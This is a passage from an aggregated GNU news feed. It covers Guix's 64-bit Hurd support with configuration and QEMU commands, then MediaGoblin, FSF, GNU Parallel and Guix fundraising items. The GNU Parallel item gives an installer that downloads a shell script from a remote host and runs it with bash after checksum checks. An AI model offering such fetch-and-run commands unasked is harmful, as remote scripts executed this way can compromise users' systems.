commits&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This can simply be verified by building the &lt;code&gt;hello&lt;/code&gt; package:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix build --system=x86_64-gnu hello&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, GCC 14 is not a regular update: it is &lt;a href="https://gcc.gnu.org/gcc-14/porting_to.html"&gt;waaay more
strict&lt;/a&gt; with respect to C
code compilation.  This means that, before actually switching, we had
to fix 173 package builds and update another 109 packages to not break
all of Guix.  This took a &lt;a href="https://guix.gnu.org/static/blog/gcc-14-final.text"&gt;total of 17 people and 35
weeks&lt;/a&gt; to complete.&lt;/p&gt;&lt;p&gt;You can understand that we are excited that the &lt;a href="https://nlnet.nl"&gt;NLnet
Foundation&lt;/a&gt; has been &lt;a href="https://nlnet.nl/project/Guix-Hurd/"&gt;sponsoring this
work&lt;/a&gt;!&lt;/p&gt;&lt;h1&gt;Installing and Using the 64-bit Hurd&lt;/h1&gt;&lt;p&gt;Easiest is to change your 32-bit childhurd definition into 64-bit, by
adding&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(type 'hurd64-qcow2)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;to your &lt;code&gt;hurd-vm-configuration&lt;/code&gt;.  And if you don't have a
&lt;code&gt;hurd-vm-configuration&lt;/code&gt; yet?.  Easy, in that case just add&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(use-service-modules virtualization)
[..]
(hurd-vm-configuration
  (type 'hurd64-qcow2))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;into your your &lt;code&gt;hurd-vm-service-type&lt;/code&gt; definition&lt;a href="https://guix.gnu.org/feeds/blog.atom#0"&gt;[^0]&lt;/a&gt;.  And if you
don't have a &lt;code&gt;hurd-vm-service-type&lt;/code&gt; yet?  Easy, in that case just add&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(use-service-modules virtualization)
[..]
(service hurd-vm-service-type
         (hurd-vm-configuration
           (type 'hurd64-qcow2)))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;to your operating system definition.  Reconfigure your system and
you'd be able to:&lt;/p&gt;&lt;p&gt;&lt;img alt="This 64-bit Hurd is fully operational" src="https://guix.gnu.org/static/blog/img/the-64-bit-hurd.gif" /&gt;&lt;/p&gt;&lt;p&gt;(if you don't have a &lt;a href="https://guix.gnu.org/static/blog/ssh-childhurd-config.text"&gt;&lt;code&gt;childhurd&lt;/code&gt;
definition&lt;/a&gt; in your
&lt;code&gt;~/.ssh/config&lt;/code&gt; you will have to use something like: &lt;code&gt;ssh -p 10022 root@localhost&lt;/code&gt;&lt;a href="https://guix.gnu.org/feeds/blog.atom#1"&gt;[^1]&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;And if you don't have a Guix operating system definition...The 64-bit
Hurd is now an option in the installer:&lt;/p&gt;&lt;p&gt;&lt;img alt="Installer kernel page" src="https://guix.gnu.org/static/blog/img/installer-kernel-page-hurd64.png" /&gt;&lt;/p&gt;&lt;p&gt;and can be installed in a VM.  Make &lt;a href="https://lists.nongnu.org/archive/html/bug-hurd/2025-11/msg00017.html"&gt;sure to use &lt;code&gt;--machine q35&lt;/code&gt;&lt;/a&gt;
with qemu.&lt;/p&gt;&lt;p&gt;To build a disk image for a virtual machine, do:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;./pre-inst-env guix system image --image-type=hurd64-qcow2 \
    gnu/system/examples/bare-hurd64.tmpl&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You may run it like so:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix shell qemu -- qemu-system-x86_64 -m 2048 -M q35       \
  --enable-kvm                                             \
  --device e1000,netdev=net0                               \
  --netdev user,id=net0,hostfwd=tcp:127.0.0.1:10022-:2222  \
  --snapshot                                               \
  --hda /gnu/store/...-disk-image&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(note that the 64-bit Hurd does not seem to show a login prompt)&lt;/p&gt;&lt;p&gt;and use it like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ssh -p 10022 root@localhost
guix build -e '(@@ (gnu packages commencement) gnu-make-boot0)'&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;or even, if you build the image with at least --image-size=3G:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix build hello&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;RumpNET Support&lt;/h1&gt;&lt;p&gt;Upstream has &lt;a href="https://cgit.git.savannah.gnu.org/cgit/hurd/hurd.git/commit/?id=1d5c92654b2ebd95bee4f2bc4690b883c468b1a4"&gt;added support for Intel i8254x Gigabit
Ethernet&lt;/a&gt; using RumpNET.&lt;/p&gt;&lt;p&gt;Damien Zammit wrote:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;This adds a working rump driver for /dev/wmX cards, which are Intel
i8254x Gigabit Ethernet devices.  (See man.netbsd.org for "wm(4)")
This should be easily extended to support other NICs by contributing
some makefile foo to netbsd/rump.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Example usage&lt;a href="https://guix.gnu.org/feeds/blog.atom#2"&gt;[^2]&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;settrans -fgap /dev/rumpnet /hurd/rumpnet
settrans -fgap /dev/wm0 /hurd/devnode -M /dev/rumpnet wm0
settrans -fgap /servers/socket/2 /hurd/pfinet -i /dev/wm0
ifup /dev/wm0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With our updated hurd and rumpkernel packages, this should be
available in Guix now too.  Please let us know if you got it to work!
(If you tried and didn't get it to work, we'd also like to know!)&lt;/p&gt;&lt;h1&gt;Status&lt;/h1&gt;&lt;p&gt;One of the &lt;a href="https://cosocial.ca/@mpjgregoire/116023456946594444"&gt;most frequently asked questions
&lt;/a&gt; is probably:
Does X work on the Hurd yet?  The canonical answer to that question
is: Please read the &lt;a href="https://darnassus.sceen.net/~hurd-web/faq/"&gt;GNU/Hurd
FAQ&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;A good summary of the current status was presented by Samuel Thibault
in his &lt;a href="https://fosdem.org/2026/schedule/event/7FZXHF-updates_on_gnuhurd_progress_rump_drivers_64bit_smp_software_bootstrapping/"&gt;GNU/Hurd
progress&lt;/a&gt;
at &lt;a href="https://fosdem.org/2026"&gt;FOSDEM'26&lt;/a&gt;, in which he also makes
compelling arguments for the Hurd, such as: Freedom from the system
administrator and sharing the GNU heritage and values it's no
coincidence that Guix also solves a part of that problem, allowing any
user to install packages.&lt;/p&gt;&lt;p&gt;&lt;a href="https://wiki.debian.org/Debian_GNU/Hurd"&gt;Debian GNU/Hurd&lt;/a&gt; has been a
reality for some years now, reaching 75% of Debian packages being
available for the Hurd.&lt;/p&gt;&lt;p&gt;As a comparison, in Guix only about &lt;a href="https://guix.gnu.org/static/blog/guix-1.5-weather-i586-gnu.text"&gt;1.7%
(32-bit)&lt;/a&gt; and &lt;a href="https://guix.gnu.org/static/blog/guix-1.5-weather-x86_64-gnu.text"&gt;0.9%
(64-bit)&lt;/a&gt; of packages
are available for the Hurd.  These percentages fluctuate a bit but
continue to grow (both grew with a couple tenth percent point during
the preparation of this blog post), and as always, might grow faster
with your help.&lt;/p&gt;&lt;p&gt;So while Guix GNU/Hurd has an exciting future, please be aware that it
lacks many packages and services, including Xorg.&lt;/p&gt;&lt;p&gt;If you would simply like to install the Hurd on bare metal running
your favorite window manager (e.g.: i3, icewm, etc.)  or lightweight
desktop environment (Xfce) right now, then &lt;a href="https://cdimage.debian.org/cdimage/ports/latest/hurd-i386/20220824/"&gt;installing Debian
GNU/Hurd&lt;/a&gt;
is a good choice.  Though we hope to catch up to them soon!&lt;/p&gt;&lt;p&gt;Last October, the 64-bit Hurd &lt;a href="https://lists.gnu.org/archive/html/bug-hurd/2025-10/msg00001.html"&gt;was reported to
run&lt;/a&gt;
on bare metal.  Now that Guix 1.5.0's installer also lets you &lt;a href="https://guix.gnu.org/en/blog/2024/hurd-on-thinkpad/"&gt;install
the Hurd on bare
metal&lt;/a&gt;, we'd be
thrilled to year from you if you manage to replicate this!&lt;/p&gt;&lt;h1&gt;What's Next?&lt;/h1&gt;&lt;p&gt;In &lt;a href="https://guix.gnu.org/en/blog/2020/a-hello-world-virtual-machine-running-the-hurd/"&gt;an earlier
post&lt;/a&gt;
we tried to answer the question “Why bother with the Hurd anyway?”  An
obvious question because it is &lt;a href="https://xkcd.com/1508"&gt;all too easy to get
discouraged&lt;/a&gt;, to downplay or underestimate the
potential social impact of GNU and the Hurd.&lt;/p&gt;&lt;p&gt;Echoing Samuel Thibault's talk we would like to add: because it offers
a better:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://www.gnu.org/philosophy/philosophy.html"&gt;Freedom #0&lt;/a&gt;: the
freedom to run the program as you wish, for any purpose.&lt;/li&gt;&lt;li&gt;Freedom from the System Administrator.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;code&gt;guix pull&lt;/code&gt; is known to work but only by pulling from a local branch
doing something like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mkdir -p src/guix
cd src/guix
git clone https://git.guix.gnu.org/guix.git master
cd master
git branch keyring origin/keyring
guix pull --url=$HOME/src/guix/master&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;kinda like we did it in the old days.&lt;/p&gt;&lt;p&gt;Other interesting task for Guix include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Have &lt;code&gt;guix pull&lt;/code&gt; from a non-local URL work on the Hurd,&lt;/li&gt;&lt;li&gt;Have &lt;code&gt;guix system reconfigure&lt;/code&gt; work on the Hurd,&lt;/li&gt;&lt;li&gt;Figure out WiFi support with NetDDE (and add it to installer!),&lt;/li&gt;&lt;li&gt;Figure out WiFi support with RumpNET (and add it to installer!),&lt;/li&gt;&lt;li&gt;An &lt;a href="https://issues.guix.gnu.org/43857"&gt;isolated build environment&lt;/a&gt;
(or better wait for, err, contribute to the &lt;a href="https://guix.gnu.org/en/blog/2023/a-build-daemon-in-guile/"&gt;Guile build
daemon&lt;/a&gt;?),&lt;/li&gt;&lt;li&gt;An installer running the Hurd, and,&lt;/li&gt;&lt;li&gt;Packages, packages, packages!&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We tried to make Hurd development as easy and as pleasant as we could.
As you have seen, things start to work pretty nicely and there is
still plenty of work to do in Guix.  In a way this is “merely
packaging” the amazing work of others.  Some of the real work that
needs to be done and which is being discussed and is in progress right
now includes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://nlnet.nl/project/Hurd-Audio/"&gt;Audio support&lt;/a&gt; (this was
sponsored by &lt;a href="https://nlnet.nl"&gt;NLnet&lt;/a&gt;, thanks!),&lt;/li&gt;&lt;li&gt;&lt;a href="https://lists.gnu.org/archive/html/bug-hurd/2025-08/msg00048.html"&gt;RumpNET&lt;/a&gt;,&lt;/li&gt;&lt;li&gt;&lt;a href="https://lists.gnu.org/archive/html/bug-hurd/2026-01/msg00199.html"&gt;SMP&lt;/a&gt;,&lt;/li&gt;&lt;li&gt;&lt;a href="https://lists.gnu.org/archive/html/bug-hurd/2026-02/msg00010.html"&gt;Journaling for &lt;code&gt;ext2&lt;/code&gt;&lt;/a&gt;,&lt;/li&gt;&lt;li&gt;&lt;a href="https://lists.gnu.org/archive/html/bug-hurd/2024-03/msg00114.html"&gt;AArch64&lt;/a&gt;,&lt;/li&gt;&lt;li&gt;&lt;a href="https://lists.gnu.org/archive/html/bug-hurd/2025-04/msg00005.html"&gt;RISC-V&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With the exception maybe of adding RumpNET NICs, these tasks look
daunting, and indeed that’s a lot of work ahead.  But the development
environment is certainly an advantage.  Take an example: surely anyone
who’s hacked on device drivers or file systems before would have loved
to be able to GDB into the code, restart it, add breakpoints and so
on—that’s exactly the experience that the Hurd offers.  As for Guix,
it will make it easy to test changes to the micro-kernel and to the
Hurd servers, and that too has the potential to speed up development
and make it a very nice experience.&lt;/p&gt;&lt;h4&gt;SMP support for the 64-bit Hurd&lt;/h4&gt;&lt;p&gt;During the preparation of this blog post &lt;a href="https://lists.gnu.org/archive/html/bug-hurd/2026-02/msg00101.html"&gt;a patch set fixing SMP for
the 64-bit
Hurd&lt;/a&gt;,
(well, gnumach actually) was presented by Damien Zammit.  So most
probably we'll have 64-bit multiprocessing real soon now!  It seems
however, that we &lt;a href="https://codeberg.org/guix/guix/pulls/6487"&gt;will need new bootstrap
binaries&lt;/a&gt; for that.&lt;/p&gt;&lt;p&gt;Join &lt;code&gt;#guix&lt;/code&gt; and &lt;code&gt;#hurd&lt;/code&gt; on
&lt;a href="https://guix.gnu.org/en/contact/irc/"&gt;&lt;code&gt;libera.chat&lt;/code&gt;&lt;/a&gt; or the &lt;a href="https://guix.gnu.org/en/contact"&gt;mailing
lists&lt;/a&gt; and get involved!&lt;/p&gt;&lt;h5&gt;Footnotes&lt;/h5&gt;&lt;p&gt;&lt;a href="https://guix.gnu.org/feeds/blog.atom#0"&gt;[0]&lt;/a&gt;: &lt;em&gt;Note: with an up-to-date &lt;code&gt;guix&lt;/code&gt; this is no longer necessary!&lt;/em&gt;&lt;br /&gt;Actually, as the 64-bit Hurd uses &lt;code&gt;rumpdisk&lt;/code&gt; exclusively, and
&lt;code&gt;gnumach&lt;/code&gt; by default uses still it builtin IDE drivers, we also
need to tell &lt;code&gt;gnumach&lt;/code&gt; about that by adding the &lt;code&gt;(kernel-arguments '("noide"))&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(use-service-modules virtualization)
[..]
(hurd-vm-configuration
  (type 'hurd64-qcow2)
  (os (operating-system
        (inherit %hurd-vm-operating-system)
        (kernel-arguments '("noide")))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We expect this to be the the default in the future.&lt;/p&gt;&lt;p&gt;&lt;a href="https://guix.gnu.org/feeds/blog.atom#1"&gt;[1]&lt;/a&gt;: You may have to override your childhurd's &lt;code&gt;openssh-service&lt;/code&gt;
definition, something like&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(services
 (modify-services (operating-system-user-services %hurd-vm-operating-system)
   (openssh-service-type
    config =&amp;gt;
    (openssh-configuration
     (inherit config)
     (authorized-keys `(("root"
                         ,(local-file "/home/janneke/.ssh/janneke.pub"))))))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;but you can also take inspiration from the &lt;a href="https://codeberg.org/guix/guix/src/commit/75db21a939f8e25c7df1be889c64d7d4c50fe847/gnu/system/examples/bare-hurd64.tmpl#L54"&gt;&lt;code&gt;bare-hurd64.tmpl&lt;/code&gt;
template&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href="https://guix.gnu.org/feeds/blog.atom#2"&gt;[2]&lt;/a&gt;: Note that while is comes straight from a commit to the Hurd git
repository, this is a Debian-specific recipe, Guix does not have
&lt;code&gt;ifup&lt;/code&gt;, and per &lt;a href="https://darnassus.sceen.net/~hurd-web/hurd/rump/rumpnet"&gt;this updated wiki
page&lt;/a&gt;
there's probably extra networking interface configuration needed
too (in Debian you're intstructed to -- imperatively -- edit
&lt;code&gt;/etc/network/interfaces&lt;/code&gt;).&lt;/p&gt; </description> 
	<pubDate>Sun, 01 Mar 2026 10:00:00 +0000</pubDate>

</item> 
<item>
	<title>GNU MediaGoblin: MediaGoblin 0.15.0</title>
	<guid>tag:mediagoblin.org,2026-02-26:/news/mediagoblin-0.15.0-release.html</guid>
	<link>https://mediagoblin.org/news/mediagoblin-0.15.0-release.html</link>
     <description>  &lt;p&gt;We're pleased to announce the release of GNU MediaGoblin 0.15.0. See the
&lt;a href="https://docs.mediagoblin.org/en/stable/siteadmin/relnotes.html"&gt;release notes&lt;/a&gt;
for full details and upgrading instructions.&lt;/p&gt;
&lt;p&gt;This is a relatively small release to resolve installation issues on Debian
Trixie and Bookworm.&lt;/p&gt;
&lt;p&gt;This version has been tested on Debian Bookworm (12), Debian Trixie (13), Ubuntu
22.04, Ubuntu 24.04 and Fedora 43. This release drops support for Debian
Bullseye (11) and Ubuntu 20.04.&lt;/p&gt;
&lt;p&gt;To join us and help improve MediaGoblin, please visit our &lt;a href="https://mediagoblin.org/pages/join.html"&gt;getting
involved&lt;/a&gt; page.&lt;/p&gt; </description> 
	<pubDate>Thu, 26 Feb 2026 01:25:23 +0000</pubDate>

</item> 
<item>
	<title>FSF News: The FSF announces global call for FSF's LibreLocal 2026 meetups</title>
	<guid>http://www.fsf.org/news/librelocal-2026</guid>
	<link>http://www.fsf.org/news/librelocal-2026</link>
     <description>  BOSTON, Massachusetts, USA (Tuesday, February 24, 2026), â€” The 
Free Software Foundation (FSF) has just launched its global call for  
LibreLocal 2026. </description> 
	<pubDate>Tue, 24 Feb 2026 22:09:29 +0000</pubDate>

</item> 
<item>
	<title>parallel @ Savannah: GNU Parallel 20260222 ('Epstein files') released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10856</guid>
	<link>https://savannah.gnu.org/news/?id=10856</link>
     <description>  &lt;p&gt;GNU Parallel 20260222 ('Epstein files') has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;
  Und die Tage jetzt hab ich GNU parallel für mich entdeckt, auch ne nette Geschichte, gerade wenn's irgendwelche remote APIs sind.
&lt;br /&gt;
    -- Vince @dd1des.bsky.social
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No new features.
&lt;/li&gt;
&lt;li&gt;Bug fixes.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name '*.jpg' |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href="http://www.gnu.org/s/parallel/"&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href="http://pi.dk/3"&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href="http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1"&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href="https://doi.org/10.5281/zenodo.1146014"&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href="https://gnuparallel.threadless.com/designs/gnu-parallel"&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href="https://my.fsf.org/donate/"&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Sun, 22 Feb 2026 22:29:53 +0000</pubDate>

</item> 
<item>
	<title>GNU Guix: Result of Sustain and Strengthen Fundraising</title>
	<guid>https://guix.gnu.org/blog/2026/result-of-sustain-and-strengthen-fundraising//</guid>
	<link>https://guix.gnu.org/blog/2026/result-of-sustain-and-strengthen-fundraising//</link>
     <description>  &lt;p&gt;&lt;img alt="Outcome of Guix Fundraising for 2025" src="https://guix.gnu.org/static/blog/img/fundraising-2025-S2.svg" style="width: 85%; height: 85%;" /&gt;&lt;/p&gt;&lt;h2&gt;Results from Guix Fundraising&lt;/h2&gt;&lt;p&gt;We're on course to &lt;b&gt;beat our fundraising target&lt;/b&gt; to sustain and strength Guix. We're bringing the fundraising campaign to an end, so let's cover how much we've raised and what it means for GNU Guix.&lt;/p&gt;&lt;p&gt;After four months of fundraising we've raised &lt;b&gt;€11,378&lt;/b&gt; for the GNU Guix project. This means we've received money for 75% of our €15,000 annual goal.&lt;/p&gt;&lt;p&gt;We also pre-registered tickets for Guix Days this year. &lt;a href="https://thebird.nl/"&gt;Pjotr Prins&lt;/a&gt; and Manolis Ragkousis have done a stellar job organising it for many years, along with the &lt;a href="https://fosdem.org/2026/schedule/track/declarative-and-minimalistic-computing/"&gt;Declarative and Minimalistic Computing devroom at FOSDEM&lt;/a&gt; (videos are up!). Guix Foundation financially supports it as it's a great opportunity for people to spend time together working on improving Guix. Operating a registration system was very successful, raising &lt;b&gt;€3,830&lt;/b&gt; which really contributed to covering the event's costs. Thank you everyone who took part!&lt;/p&gt;&lt;p&gt;&lt;b&gt;Recurring donations&lt;/b&gt; are critical for the Guix project to be sustainable. If we're certain that there's a regular stream of donations then we can match it with the recurring costs the project incurs (e.g our build farm). This means there's a lot less risk that we'll suddenly have to reduce the shared resources the project depends on: this is where we were last year when we were weeks away from needing to reduce the hosting.&lt;/p&gt;&lt;p&gt;Between Stripe and Open Collective 136 people have stepped forward to support the project with recurring donations. During December and January, 17 new people started regular donations. As we'd expect some people stop donating after a while, over that same period we lost 8 recurring donors.&lt;/p&gt;&lt;p&gt;The total recurring monthly donations are €1,650. If we annualise those figures then we could raise about &lt;b&gt;€19,800&lt;/b&gt; for the Guix project this year. This doesn't account for any churn, but nonetheless that's fantastic! The impact of recurring donations is considerable as it means a small amount per month really adds up over time. The maths is simple, but don't underestimate how much it helps!&lt;/p&gt;&lt;p&gt;The more donations we gather, the more we can do to support Guix. If you'd like to help out the project whether with a single donation or a recurring donation you can:&lt;/p&gt;&lt;div class="action box centered-text"&gt;&lt;a class="button-big" href="https://guix.gnu.org/ar/donate/" style="background-color: #F4BB15;"&gt;DONATE NOW&lt;/a&gt;&lt;/div&gt;&lt;h3&gt;SUSE Cares Donation&lt;/h3&gt;&lt;p&gt;In December SUSE contacted us to tell us that they'd like to donate &lt;b&gt;$500&lt;/b&gt; to &lt;a href="https://foundation.guix.info/"&gt;Guix Foundation&lt;/a&gt; on behalf of &lt;a href="https://www.suse.com/c/susecares-our-charity-of-the-year-for-fy24/"&gt;SUSE Cares their philanthropic giving programme&lt;/a&gt;. This is an employee programme that enables SUSE employees to support charities of their choice. Tanguy and I have completed the registration documents and we expect to receive the donation shortly. This is fantastic, &lt;b&gt;Thank you SUSE team!&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Having some support from organisations that use Guix or are aligned with our mission would be great. If you know of an organisation, company or non-profit that might be able to support Guix please get in contact with me.&lt;/p&gt;&lt;h3&gt;What we've learnt&lt;/h3&gt;&lt;p&gt;If we take the donations we've received so far, add the registrations from Guix Days and we make a conservative forecast on how recurring donations will come through then we will raise &lt;b&gt;€33,900&lt;/b&gt; for Guix over the year. That's over twice the target we set!&lt;/p&gt;&lt;p&gt;That's great and &lt;b&gt;thanks to everyone who's helped Guix&lt;/b&gt;. It's been fantastic seeing so many people answer the call to take action and help the project. Guix Foundation has grown with nearly 100 people joining. This gives us a healthy, user-supported non-profit around Guix.&lt;/p&gt;&lt;h3&gt;How we're using the money&lt;/h3&gt;&lt;p&gt;The first priority for using the money we've raised is to support and improve the key infrastructure that the project relies on. One way we'll be doing that is by &lt;a href="https://foundation.guix.info/"&gt;Guix Foundation&lt;/a&gt;&lt;b&gt; joining &lt;a href="https://codeberg.org/Codeberg/org/src/branch/main/Imprint.md"&gt;Codeberg e.V.&lt;/a&gt; and financially supporting their efforts&lt;/b&gt;. This is important for Guix both because their mission of creating a Free Software platform for collaboration aligns with our goals, but also because we directly rely on Codeberg being able to run a reliable development service. As we know running infrastucture is complex and expensive.&lt;/p&gt;&lt;p&gt;Guix Foundation also aims to support the development of Guix, and the community around it. That could mean sponsoring development, running events and adding community services. For Guix Days I put together a talk about the fundraising and our future plans. The talk's available &lt;a href="https://codeberg.org/guix-foundation/website/raw/branch/main/downloads/guix-foundation-fundraising-future-2026.pdf"&gt;as a PDF&lt;/a&gt;, or there's a video on &lt;a href="https://youtu.be/G_mp7ikrQ4Q"&gt;YouTube(1440p)&lt;/a&gt; and &lt;a href="https://tilvids.com/w/gNMMCu7benFk4EY9ZP11iG"&gt;TILvids Peertube (1080p)&lt;/a&gt;.&lt;a href="https://tilvids.com/w/gNMMCu7benFk4EY9ZP11iG"&gt;&lt;img alt="Video presentation on Guix Foundation 2026 plans" src="https://guix.gnu.org/static/blog/img/202601-GuixFoundationUpdate.png" style="width: 85%; height: 85%;" /&gt;&lt;/a&gt;&lt;/p&gt; </description> 
	<pubDate>Tue, 17 Feb 2026 11:00:00 +0000</pubDate>

</item> 
<item>
	<title>Jose E. Marchesi: First package written in Algol 68 lands in Gentoo</title>
	<guid>https://www.jemarch.net/gnuplanet.xml/b5bf7190c27fc6f1ed36ab0f950f1da5</guid>
	<link/>
     <description>  &lt;p&gt;To my knowledge Gentoo just became the first GNU/Linux distro
      ever packaging and distributing a program that happens to be
